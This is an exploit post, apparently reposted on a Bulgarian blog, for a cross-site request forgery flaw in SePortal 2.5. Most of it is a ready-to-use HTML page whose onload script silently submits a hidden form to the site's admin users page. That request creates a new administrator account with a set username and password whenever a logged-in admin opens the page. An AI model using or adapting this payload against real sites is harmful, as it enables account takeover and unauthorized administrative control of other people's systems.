##########################################
[~] Exploit Title: SePortal 2.5 CSRF Vulnerability
[~] Author: DaOne [LCA]
[~] Date: 19/8/2012
[~] Software Link: http://www.seportal.org
##########################################

[#] [ CSRF Add Admin ]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/admin/users.php">
<input type="hidden" name="action" value="saveusers">
<input type="hidden" name="user_level_1" value="9"/>
<input type="hidden" name="user_name_1" value="webadmin"/>
<input type="hidden" name="user_email_1" value="admin@email.com"/>
<input type="hidden" name="user_password_1" value="pass123"/>
<input type="hidden" name="user_homepage_1" value=""/>
<input type="hidden" name="user_icq_1" value=""/>
<input type="hidden" name="user_showemail_1="0"/>
<input type="hidden" name="user_allowemails_1" value="0"/>
<input type="hidden" name="user_invisible_1" value="0"/>
<input type="hidden" name="user_gender_1" value="1"/>
<input type="hidden" name="num_newusers" value="1">
</form>
</body>
</html>

##########################################
Rate this post
Брой прочитания на тази страница: 660
SePortal 2.5 CSRF Vulnerability
Tagged on:

Вашият коментар

Вашият имейл адрес няма да бъде публикуван. Задължителните полета са отбелязани с *